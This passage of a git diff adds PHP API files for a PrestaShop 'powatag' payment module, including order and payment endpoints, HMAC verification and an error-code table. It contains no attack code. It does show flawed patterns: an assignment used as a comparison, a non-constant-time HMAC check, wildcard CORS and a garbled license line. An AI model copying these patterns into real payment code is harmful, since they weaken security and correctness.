endpoint + */ + protected function orders($args) + { + // Manage informations + $datas = $this->data; + + if (is_null($datas)) + { + $error = PowaTagErrorType::$BAD_REQUEST; + return PowaTagAPI::powaError($error); + } + + if ($this->verb == 'costs') + { + if (isset($datas->order)) + $customer = $datas->order->customer; + else + $customer = current($datas->orders)->customer; + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process calculate Costs', PowaTagLogs::IN_PROGRESS, 'Customer : '.$customer->firstName.' '.$customer->lastName); + + if (PowaTagAPI::requestLog()) + PowaTagLogs::initRequestLog('Process calculate Costs', PowaTagLogs::IN_PROGRESS, $datas); + + $powatagcosts = new PowaTagCosts($datas); + if ($error = $powatagcosts->getError()) + { + $message = $error['message']; + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process order', PowaTagLogs::ERROR, $message); + + return PowaTagAPI::powaError($error); + } + + if ($value = $powatagcosts->getSummary()) + { + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process calculate Costs', PowaTagLogs::SUCCESS, 'Customer : '.$customer->firstName.' '.$customer->lastName); + + if (PowaTagAPI::requestLog()) + PowaTagLogs::initRequestLog('Process calculate Costs', PowaTagLogs::SUCCESS, $value); + + return $value; + } + else + { + $error = $powatagcosts->getError(); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process calculate Costs', PowaTagLogs::ERROR, $error['message']); + + return PowaTagAPI::powaError($error); + } + } + else if (count($args) == 2 && Validate::isInt($args[0]) && $args[1] = 'confirm-payment') + {//Three step payment confirmation + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process payment', PowaTagLogs::IN_PROGRESS, 'Order ID : '.$args[0]); + + if (PowaTagAPI::requestLog()) + PowaTagLogs::initRequestLog('Create payment', PowaTagLogs::IN_PROGRESS, $datas); + $payment = new PowaTagPayment($datas, (int)$args[0]); + + if ($id_order = $payment->confirmPayment()) + { + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process payment', PowaTagLogs::SUCCESS, 'ID Order : '.$id_order); + + if (PowaTagAPI::requestLog()) + PowaTagLogs::initRequestLog('Process payment', PowaTagLogs::SUCCESS, $id_order); + + $data = array( + 'providerTxCode' => isset($datas->paymentResult->providerTxCode) ? $datas->paymentResult->providerTxCode : 'providerTxCode Empty', + 'message' => 'Authorization success order '.$id_order.' created', + ); + + if ($payment->checkOrderState($id_order, $data) == 'error') + $this->setResponse($data['response']); + + return $data; + + } + else + { + $error = $payment->getError(); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process payment', PowaTagLogs::ERROR, $error['message']); + + return PowaTagAPI::powaError($error); + } + + } + else if (!count($args)) + {//Two step payment or three step payment + if (isset($datas->order)) + $customer = $datas->order->customer; + else + $customer = current($datas->orders)->customer; + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process order 123', PowaTagLogs::IN_PROGRESS, 'Customer : '.$customer->firstName.' '.$customer->lastName); + + if (PowaTagAPI::requestLog()) + PowaTagLogs::initRequestLog('Create order', PowaTagLogs::IN_PROGRESS, $datas); + + $order = new PowaTagOrders($datas); + + if ($error = $order->getError()) + { + $message = $error['message']; + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process order', PowaTagLogs::ERROR, $message); + + return PowaTagAPI::powaError($error); + } + + list($id_cart, $id_order, $message) = $order->validateOrder(); + if ($id_order || $id_cart) + { + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process order', PowaTagLogs::SUCCESS, 'Order has been created : '.$id_order); + + $link = new Link(); + + $cart = new Cart($id_cart); + $data = array( + 'orderResults' => array( + array( + 'orderId' => $id_order ? $id_order : $id_cart, + 'message' => $message, + 'redirectUrl' => $link->getModuleLink('powatag', 'confirmation', array('id_cart' => (int)$id_cart, 'id_customer' => (int)$cart->id_customer)) + ) + ) + ); + + if ($error = $order->getError()) { + return PowaTagAPI::powaError($error); + } + + if ($order->checkOrderState($id_order, $data)) + $this->setResponse($data['response']); + + return $data; + } + else + { + $message = ''; + + $errorCode = ''; + if ($error = $order->getError()) + { + $message = $error['message']; + } + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process order', PowaTagLogs::ERROR, $message); + + + + return PowaTagAPI::powaError($error); + } + } + } + + /** + * getproducts endpoint - multiple SKU getProduct + */ + protected function getproducts($args) + { + $sku = $_GET["sku"]; + + if (PowaTagAPI::requestLog()) + PowaTagLogs::initRequestLog('Process get multiple products', PowaTagLogs::SUCCESS, $sku); + if ($sku == '') { + return PowaTagAPI::powaError(array( + 'error' => PowaTagErrorType::$SKU_NOT_FOUND, + 'message' =>"Missing SKU value" + )); + } + + $asku = explode(",",$sku); + $reply = array(); + foreach ($asku as $idProduct) { + + $stdClass = new stdClass(); + $stdClass->id_product = $idProduct; + + $powatagProduct = new PowaTagProduct($stdClass); + $detail = $powatagProduct->setJSONRequest(); + if ($detail === false) { + $detail = array( + "code" => $idProduct, + "availability" => "false" + ); + } else { + $detail["availability"] = "true"; + } + $reply[] = $detail; + } + return array("products" => $reply); + } + +} + +?> diff --git a/modules/powatag/api/v1/PowaTagAPIAbstract.php b/modules/powatag/api/v1/PowaTagAPIAbstract.php new file mode 100644 index 0000000..77fd4df --- /dev/null +++ b/modules/powatag/api/v1/PowaTagAPIAbstract.php @@ -0,0 +1,231 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../../classes/PowaTagRequestLogs.php'); + +abstract class PowaTagAPIAbstract +{ + + /** + * Property: method + * The HTTP method this request was made in, either GET, POST, PUT or DELETE + */ + protected $method = ''; + + /** + * Property: endpoint + * The Model requested in the URI. eg: /files + */ + protected $endpoint = ''; + + /** + * Property: verb + * An optional additional descriptor about the endpoint, used for things that can + * not be handled by the basic methods. eg: /files/process + */ + protected $verb = ''; + + /** + * Property: args + * Any additional URI components after the endpoint and verb have been removed, in our + * case, an integer ID for the resource. eg: //// + * or // + */ + protected $args = array(); + + /** + * Property: file + * Stores the input of the PUT request + */ + protected $file = null; + + /** + * Property: Enable applicative log + * @var boolean + */ + protected static $api_log; + + /** + * Property: Enable request log + * @var boolean + */ + protected static $request_log; + + /** + * Instance of module + * @var \Module + */ + protected $module; + + /** + * Data in content call + * @var string + */ + protected $data; + + /** + * Response header + * @var int + */ + protected $response = 200; + + /** + * Constructor: __construct + * Allow for CORS, assemble and pre-process the data + */ + public function __construct($request) + { + header('Access-Control-Allow-Orgin: *'); + header('Access-Control-Allow-Methods: *'); + header('Content-Type: application/json; charset=utf-8'); + + $this->args = explode('/', rtrim($request, '/')); + $this->endpoint = array_shift($this->args); + + if (array_key_exists(0, $this->args) && !is_numeric($this->args[0])) + $this->verb = array_shift($this->args); + + $this->method = $_SERVER['REQUEST_METHOD']; + if ($this->method == 'POST' && array_key_exists('HTTP_X_HTTP_METHOD', $_SERVER)) + { + if ($_SERVER['HTTP_X_HTTP_METHOD'] == 'DELETE') + $this->method = 'DELETE'; + else if ($_SERVER['HTTP_X_HTTP_METHOD'] == 'PUT') + $this->method = 'PUT'; + else + throw new Exception('Unexpected Header'); + } + + $this->data = Tools::file_get_contents('php://input'); + + self::$api_log = Configuration::get('POWATAG_API_LOG'); + self::$request_log = Configuration::get('POWATAG_REQUEST_LOG'); + + + PowaTagRequestLogs::add(array( + 'args' => $this->args, + 'endpoint' => $this->endpoint, + 'verb' => $this->verb, + 'method' => $this->method, + 'data' => $this->data, + )); + + $this->module = Module::getInstanceByName('powatag'); + } + + public function setResponse($response) + { + $this->response = $response; + } + + public function getResponse() + { + return $this->response; + } + + public function processAPI() + { + if ((int)method_exists($this, $this->endpoint) > 0) + return $this->_response(call_user_func(array($this, $this->endpoint), $this->args)); + + $this->setResponse(404); + + return $this->_response('No Endpoint: $this->endpoint'); + } + + protected function _response($data) + { + $status = $this->getResponse(); + if (isset($data["response"])) { + unset($data["response"]); + } + + header('HTTP/1.1 '.$status.' '.$this->_requestStatus($status)); + PowaTagRequestLogs::add(array( + 'response' => Tools::jsonEncode($data) + )); + return Tools::jsonEncode($data); + } + + private function _cleanInputs($data) + { + $clean_input = array(); + if (is_array($data)) + { + foreach ($data as $k => $v) + $clean_input[$k] = $this->_cleanInputs($v); + } + else + $clean_input = trim(strip_tags($data)); + + return $clean_input; + } + + private function _requestStatus($code) + { + $status = array( + 200 => 'OK', + 400 => 'Bad Request', + 404 => 'Not Found', + 405 => 'Method Not Allowed', + 500 => 'Internal Server Error', + ); + + return ($status[$code]) ? $status[$code] : $status[500]; + } + + public static function requestLog() + { + return self::$request_log; + } + + public static function apiLog() + { + return self::$api_log; + } + + public function powaError($error) + { + if (Configuration::get('POWATAG_LEGACY_ERRORS')) { + $array = array( + 'code' => $error['error']['legCode'], + 'message' => $error['message'] + ); + $this->setResponse($error['error']['legResponse']); + } else { + $array = array( + 'code' => $error['error']['code'], + 'errorMessage' => $error['message'] + ); + $this->setResponse($error['error']['response']); + } + return $array; + } + +} + +?> \ No newline at end of file diff --git a/modules/powatag/api/v1/PowaTagAPIHandle.php b/modules/powatag/api/v1/PowaTagAPIHandle.php new file mode 100644 index 0000000..88c011f --- /dev/null +++ b/modules/powatag/api/v1/PowaTagAPIHandle.php @@ -0,0 +1,64 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once dirname(__FILE__).DIRECTORY_SEPARATOR.'..'.DIRECTORY_SEPARATOR.'..'.DIRECTORY_SEPARATOR.'..'.DIRECTORY_SEPARATOR.'..'.DIRECTORY_SEPARATOR.'config'.DIRECTORY_SEPARATOR.'config.inc.php'; +//require_once '/home/jara/ejp/80-powa/15-presta/prestashop/config/config.inc.php'; +require_once _PS_ROOT_DIR_.DIRECTORY_SEPARATOR.'init.php'; +require_once dirname(__FILE__).DIRECTORY_SEPARATOR.'PowaTagAPI.php'; + +class PowaTagAPIHandle +{ + + public static function init() + { + if (!array_key_exists('HTTP_ORIGIN', $_SERVER)) + $_SERVER['HTTP_ORIGIN'] = $_SERVER['SERVER_NAME']; + + try + { + + $request = null; + + if (array_key_exists('request', $_GET) && !empty($_GET['request'])) + $request = Tools::getValue('request'); + + $api = new PowaTagAPI($request, $_SERVER['HTTP_ORIGIN']); + $content = $api->processAPI(); + } + catch (Exception $e) + { + $content = Tools::jsonEncode(array('error' => $e->getMessage())); + } + + return $content; + } + +} + +echo PowaTagAPIHandle::init(); + +?> diff --git a/modules/powatag/api/v1/PowaTagAPIKey.php b/modules/powatag/api/v1/PowaTagAPIKey.php new file mode 100644 index 0000000..66f0936 --- /dev/null +++ b/modules/powatag/api/v1/PowaTagAPIKey.php @@ -0,0 +1,45 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PowaTagAPIKey { + + public function verifyKey($key, $data) + { + return $this->buildHmac($data) == $key; + } + + public function buildHmac($data) + { + $hmac_key = Configuration::get(Tools::strtoupper('powatag_hmac_key')); + $calculateHmac = base64_encode(hash('sha256', $hmac_key.$data, true)); + + return $calculateHmac; + } + +} + +?> \ No newline at end of file diff --git a/modules/powatag/api/v1/PowaTagErrorType.php b/modules/powatag/api/v1/PowaTagErrorType.php new file mode 100644 index 0000000..b8d3b3a --- /dev/null +++ b/modules/powatag/api/v1/PowaTagErrorType.php @@ -0,0 +1,193 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License = array('code' => 'OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class PowaTagErrorType +{ + + public static $BAD_REQUEST = array('code' => '400101', 'response' => 400, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); + + + /** E-com Connectivity Error */ + // AIM is unable to connect the the e-commerce/PSP server + public static $FAIL_LOGIN_TO_ECOM = array('code' => '200101', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Fail to login to eCom Server + // The user name or password is incorrect + public static $FAIL_CONNECT_TO_ECOM = array('code' => '200102', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Fail to connect to eCom Server + public static $UNKNOWN_ECOM_ERROR = array('code' => '200103', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Unknow eCom error + /** Others */ + public static $SLOW_CONNECTION = array('code' => '200104', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Slow Connection + // Wrong PSP certificate + public static $CONNECTION_TIMEOUT = array('code' => '200105', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Connection Timeout + + /** Merchant Error */ + // Shop ID is Wrong + public static $MERCHANT_NOT_FOUND = array('code' => '200201', 'response' => 200, 'legCode' => 'CONFIG_ERROR', 'legResponse' => 500); // Merchant Not Found + // The Merchant Account is no longer using this E-com Platform or The Account is Mal-functioning etc + public static $MERCHANT_DISABLED = array('code' => '200201', 'response' => 200, 'legCode' => 'CONFIG_ERROR', 'legResponse' => 500); // Merchant is Disabled + /** SKU Error */ + public static $SKU_NOT_FOUND = array('code' => '200210', 'response' => 200, 'legCode' => 'SKU_NOT_FOUND', 'legResponse' => 404); // SKU not found + // The SKU is no longer selling in this shop + public static $SKU_DISABLED = array('code' => '200211', 'response' => 200, 'legCode' => 'SKU_NOT_FOUND', 'legResponse' => 404); // SKU is Disabled + // Cannot find the price of the product + public static $PRICE_NOT_FOUND = array('code' => '200212', 'response' => 200, 'legCode' => 'SKU_NOT_FOUND', 'legResponse' => 404); // Price Not Found + // Other unexpected error related to product details + public static $OTHER_PRODUCT_ERROR = array('code' => '200213', 'response' => 200, 'legCode' => 'SKU_NOT_FOUND', 'legResponse' => 404); // Other Product Error + /** Shipping Error */ + public static $MERCHANT_WRONG_COUNTRY = array('code' => '200220', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Merchant Does not Ship to This Country + public static $MERCHANT_WRONG_STATE = array('code' => '200221', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Merchant Does not Ship to This State + public static $MERCHANT_WRONG_CITY = array('code' => '200222', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Merchant Does not Ship to This City + public static $MERCHANT_WRONG_STREET = array('code' => '200223', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Merchant Does not Ship to This Street + public static $MERCHANT_WRONG_ZIP_CODE = array('code' => '200224', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Merchant Does not Ship to This Zip Code/Post Code + public static $MERCHANT_WRONG_ADDRESS = array('code' => '200225', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Merchants Does not Ship to this Address + public static $MERCHANT_SHIPS_TO_ITS_COUNTRY = array('code' => '200226', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Merchant Only Ships to its Country of Registration + // Rare Case but Does Exist; I've seen Korean and Chinese Websites Shipping Only to Korean and Chinese + public static $MERCHANT_SHIPS_TO_USER_COUNTRY = array('code' => '200227', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Merchant only Ships to User Country of Registration + public static $ADDRESS_REQUIRED = array('code' => '200228', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Address is Required to Calculate Shipping + // Merchant does not send to this address; City is Missing; Country is Missing etc + public static $ADDRESS_FORMAT_ERROR = array('code' => '200229', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Address Format Error + public static $OTHER_ADDRESS_ERROR = array('code' => '200230', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Other Address Error + /** Quantity Error */ + public static $QUANTITY_FORMAT_ERROR = array('code' => '200240', 'response' => 200, 'legCode' => 'NOT_IN_STOCK', 'legResponse' => 400); // Quantity Format Error + public static $QUANTITY_ZERO_ERROR = array('code' => '200241', 'response' => 200, 'legCode' => 'NOT_IN_STOCK', 'legResponse' => 400); // Quantity Cannot be Less Than Zero + public static $OTHER_QUANTITY_ERROR = array('code' => '200242', 'response' => 200, 'legCode' => 'NOT_IN_STOCK', 'legResponse' => 400); // Other Quantity Error + /** Stock Error */ + public static $SKU_OUT_OF_STOCK = array('code' => '200243', 'response' => 200, 'legCode' => 'NOT_IN_STOCK', 'legResponse' => 400); // SKU Out of Stock + public static $INSUFFICIENT_STOCK = array('code' => '200244', 'response' => 200, 'legCode' => 'NOT_IN_STOCK', 'legResponse' => 400); // Insufficient Stock + public static $OTHER_STOCK_ERROR = array('code' => '200245', 'response' => 200, 'legCode' => 'NOT_IN_STOCK', 'legResponse' => 400); // Other Stock Error + /** Others */ + public static $INTERNAL_ERROR = array('code' => '200290', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // An Internal Error Has Occurred + public static $INVALID_DATA = array('code' => '200291', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Data + public static $INVALID_REQUEST = array('code' => '200292', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Request + public static $INVALID_LOYALTY_ID = array('code' => '200293', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Loyalty Id + + /** Transaction Error */ + public static $MERCHANT_NOT_FOUND_TRANSACTION = array('code' => '200301', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Merchant Not Found + public static $WRONG_MID = array('code' => '200302', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Wrong/Incorrect MID + public static $WRONG_PPS_KEY = array('code' => '200303', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Wrong PPS Encryption Key + public static $WRONG_CERTIFICATE = array('code' => '200304', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Wrong Certificate + public static $UNABLE_TO_REACH_ISSUER = array('code' => '200305', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Unable to Reach Issuer + public static $UNABLE_TO_REACH_SWITCH = array('code' => '200306', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Unable to Reach Switch + public static $UNKNOWN_GATEWAY_ERROR = array('code' => '200307', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Unknown Gateway Error + public static $GATEWAY_TIMEOUT = array('code' => '200308', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Gateway Timeout + public static $TRANSACTION_TYPE_NOT_SUPPORTED = array('code' => '200309', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // This Transaction Type is Not Supported + public static $PAYMENT_METHOD_NOT_SUPPORTED = array('code' => '200310', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // This Payment Method is Not Supported + public static $CURRENCY_NOT_SUPPORTED = array('code' => '200311', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // This Currency is Not Supported + public static $CURRENCY_PAIR_NOT_SUPPORTED = array('code' => '200312', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Cross Border currency pair is not supported + public static $FOREIGN_CARDS_NOT_SUPPORTED = array('code' => '200313', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Foreign Cards/Cross Border are Not Supported + public static $MERCHANT_ONLY_BILLING_ADDRESS = array('code' => '200314', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Merchant Only Ships to Billing Address + public static $INVALID_TRANSACTION = array('code' => '200315', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Transaction + public static $INVALID_AMOUNT = array('code' => '200316', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Amount + public static $INVALID_CURRENCY_CODE = array('code' => '200317', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Currency Code + public static $FIELD_MISSING_AMOUNT = array('code' => '200318', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Field Missing; Amount + public static $FIELD_MISSING_CURRENCY = array('code' => '200319', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Field Missing; Currency + public static $FIELD_MISSING_ADDRESS = array('code' => '200320', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Field Missing; Shipping Address + public static $FIELD_MISSING_CITY = array('code' => '200321', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Field Missing; Shipping City + public static $FIELD_MISSING_COUNTRY = array('code' => '200322', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Field Missing; Shipping Country + public static $FAILED_TO_PLACE_ORDER = array('code' => '200323', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Failed to Place Order + public static $DUPLICATED_TRANSACTION = array('code' => '200324', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Duplicated Transaction + public static $INVALID_BILLING_ADDRESS = array('code' => '200325', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Billing Address + public static $INVALID_BILLING_CITY = array('code' => '200326', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Billing City + public static $INVALID_BILLING_POSTCODE = array('code' => '200327', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Billing Postcode + public static $INVALID_BILLING_COUNTRY = array('code' => '200328', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Billing Country + public static $NO_CHECKING_ACCOUNT = array('code' => '200400', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // No Checking Account + public static $INVALID_CARD_NUMBER = array('code' => '200401', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Card Number + public static $WRONG_HOLDER_NAME = array('code' => '200402', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Wrong Card Holder Name + public static $WRONG_EXPIRY_DATE = array('code' => '200403', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Wrong Expiry Date + public static $WRONG_CVV = array('code' => '200404', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Wrong CVV + public static $INVALID_CARD = array('code' => '200405', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Card + public static $FAILED_AVS = array('code' => '200406', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Failed AVS + public static $AVS_NOT_SUPPORTED_CARD_TYPE = array('code' => '200407', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid AVS/AVS Not Supported For This Card Type + public static $AVS_NOT_SUPPORTED_ISSUER = array('code' => '200408', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid AVS/AVS Not Supported For This Issuer + public static $AVS_NOT_SUPPORTED = array('code' => '200409', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // AVS Not Supported + public static $FIELD_MISSING_HOLDER_NAME = array('code' => '200410', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Field Missing: Card Holder Name + public static $FIELD_MISSING_EXPIRY_DATE = array('code' => '200411', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Field Missing: Expiry Date + public static $FIELD_MISSING_CVV = array('code' => '200412', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Field Missing: CVV + public static $FIELD_MISSING_CARD_DATA = array('code' => '200413', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Field Missing: Card Data + public static $CARD_DATA_MISSING_FIELDS = array('code' => '200414', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Card Data missing fields + public static $INSUFFICIENT_FUND = array('code' => '200415', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Insufficient Fund + public static $EXPIRED_CARD = array('code' => '200416', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Expired Card + public static $RESTRICTED_CARD = array('code' => '200417', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Restricted Card + public static $LOST_CARD = array('code' => '200418', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Lost Card + public static $STOLEN_CARD = array('code' => '200419', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Stolen Card + public static $TEMPORARY_HOLD = array('code' => '200420', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Temporary Hold + public static $CALL_ISSUER = array('code' => '200421', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Call Issuer + /** Payment Error */ + public static $PAYMENT_DECLINED = array('code' => '200500', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Payment Declined + public static $DECLINED_SUSPICIOUS_CARD = array('code' => '200501', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Declined, Suspicious Card + public static $DECLINED_LOST_CARD = array('code' => '200502', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Declined, Lost Card + public static $AUTHORIZED_SUSPICIOUS_CARD = array('code' => '200503', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Authorized: Suspicious Card + public static $AUTHORIZED_SUSPICIOUS_TRANSACTION = array('code' => '200504', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Authorized: Suspicious Transaction + public static $DECLINED_CALL_ISSUER = array('code' => '200505', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Declined by Issuer; Call Issuer + public static $DECLINED_UNEXPECTED_ERROR = array('code' => '200506', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Declined by Issuer; Unexpected Error + public static $DECLINED_RETRY = array('code' => '200507', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Declined by Issuer; Retry Transaction + public static $ISSUER_REQUEST_RETRY = array('code' => '200508', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Issuer Request to Retry Transaction + public static $DECLINED_BY_GATEWAY = array('code' => '200509', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Declined by Gateway + public static $SYSTEM_ERROR_RETRY = array('code' => '200510', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // System Error, Please Retry the Transaction + public static $SYSTEM_ERROR_DO_NOT_RETRY = array('code' => '200511', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // System Error, Please Do Not Retry the Transaction + /** Capture Error */ + public static $AUTHORIZATION_EXPIRED = array('code' => '200600', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // The authorization to be Settled has Expired + public static $MAX_NUMBER_OF_CREDITS_REACHED = array('code' => '200601', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Maximum Number of Credits Allowed for Settlement Reached + public static $BATCH_SUBMISSION_FAILED = array('code' => '200602', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Batch Submission Failed + public static $BATCH_ALREADY_SUBMITTED = array('code' => '200603', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Batch Already Submitted + public static $BATCH_FORMAT_ERROR = array('code' => '200604', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Batch Format Error + public static $OTHER_CAPTURE_ERROR = array('code' => '200605', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Other Capture Error + /** Refund Error */ + public static $REFUND_DECLINED = array('code' => '200606', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Refund Declined + public static $TRANSACTION_FORMAT_ERROR = array('code' => '200607', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Transaction Format Error + public static $REFUND_FORMAT_ERROR = array('code' => '200608', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Refund Format Error + public static $VOID_FORMAT_ERROR = array('code' => '200609', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Void Format Error + public static $OTHER_REFUND_ERROR = array('code' => '200610', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Other Refund Error + public static $OTHER_VOID_ERROR = array('code' => '200611', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Other Void Error + /** Others */ + public static $EXCEEDED_MAXIMUM_ATTEMPTS = array('code' => '200900', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Exceeded Maximum Attempts + public static $INVALID_TRANSACTION_DATA = array('code' => '200901', 'response' => 200, 'legCode' => 'BAD_REQUEST', 'legResponse' => 400); // Invalid Data + public static 